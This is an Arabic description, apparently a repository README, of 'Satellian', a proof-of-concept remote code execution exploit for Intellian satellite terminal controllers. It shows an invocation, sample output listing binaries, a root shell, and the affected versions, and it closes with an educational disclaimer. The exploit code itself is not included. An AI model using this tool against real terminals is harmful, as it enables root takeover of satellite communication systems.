
نص برمجي PoC يُظهر ثغرة RCE في جهاز تحكم Intellian Satellite
Satellian هو نص PoC يُظهر ثغرة RCE في وحدة التحكم بالقمر الصناعي Intellian (Intellian Aptus Web).
سوف يحاول النص التالي سرد جميع الملفات الثنائية في النظام، وبعد ذلك سيسمح للمختبر بالتفاعل مباشرة مع الخادم (عادةً كجذر).
xh4h@Macbook-xh4h ~/Satellian> python satellian.py -u http://<redacted>
________________________________________
(__) / \
(oo) ( Intellian Satellite Terminal PoC )
/-------\/ --' \________________________________________/
/ | ||
* ||----||
Performing initial scan. Listing available system binaries.
Starting request to http://<redacted>
Executing command /bin/ls /bin
acu_server
acu_tool
addgroup
adduser
...
Satellian $ id
uid=0(root) gid=0(root)
Intellian v1.12, v1.21, v1.24.
جميع المعلومات في هذا المستودع هي لأغراض تعليمية فقط. المؤلف غير مسؤول بأي حال من الأحوال عن أي إساءة استخدام لهذه المعلومات. هذا النص هو مجرد إثبات للمفهوم، ولم يتم تطويره بأي حال من الأحوال للأنشطة الضارة.